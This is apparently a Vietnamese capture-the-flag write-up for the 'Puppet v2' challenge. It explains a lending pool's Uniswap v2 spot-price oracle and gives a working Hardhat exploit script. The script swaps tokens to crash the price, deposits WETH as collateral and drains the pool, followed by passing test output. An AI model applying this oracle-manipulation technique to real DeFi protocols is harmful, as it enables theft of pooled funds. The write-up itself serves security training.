Challenge #9 - Puppet v2
Nhiệm vụ: Các nhà phát triển của Puppet v1 cho biết họ đã rút ra được rất nhiều kinh nghiệm sau phiên bản lỗi đó. Và họ đã cho ra một phiên bản v2 hoàn toàn mới. Vẫn như trước, với 20 ETH và 10000 DVT token trong tay, bạn biết phải làm gì với v2 rồi đấy?
Phân tích
Bình mới, nhưng rượu vẫn cũ. Chỉ đơn giản là ta thay đổi một chút cách gọi các hàm từ v1 sang v2 mà thôi.
Ta cần biết vài điểm cơ bản khác biệt giữa v1 và v2:
- v1 sử dụng chính contract pair để exchange trực tiếp, trong khi v2 điều hướng tất cả qua một
router
contract. - v1 sử dụng ETH làm token base trong bất cứ pair nào, trong khi v2 hỗ trợ tất cả các cặp ERC20/ERC20 trực tiếp
- v2 sử dụng WETH - wrapped ETH, đưa ETH về dạng ERC20 để đơn giản hóa thiết kế cho pair.
Oracle để lấy giá token trong v2:
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
Ta có phương án khai thác như sau:
- Dùng hầu hết số DVT token ta đang có swap lấy ETH (thông qua uniswap v2) để làm giảm giá trị của DVT token.
- depsit hầu hết ETH để đổi lấy WETH
- Cầm cố WETH để vay tất cả số token trong pool.
Exploit
Chuẩn bị script khai thác, lưu ý trong uniswap v2 hàm swap sẽ khác với v1.
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token
.connect(attacker)
.approve(this.uniswapRouter.address, ethers.constants.MaxUint256);
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),
1,
[this.token.address, this.weth.address],
attacker.address,
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ gasLimit: 1e6 }
);
const collateral = await this.lendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE
);
await this.weth.connect(attacker).deposit({ value: collateral });
await this.weth
.connect(attacker)
.approve(this.lendingPool.address, ethers.constants.MaxUint256);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});
Check lại kết quả
[Challenge] Puppet v2
✓ Exploit (129ms)
1 passing (2s)
All done!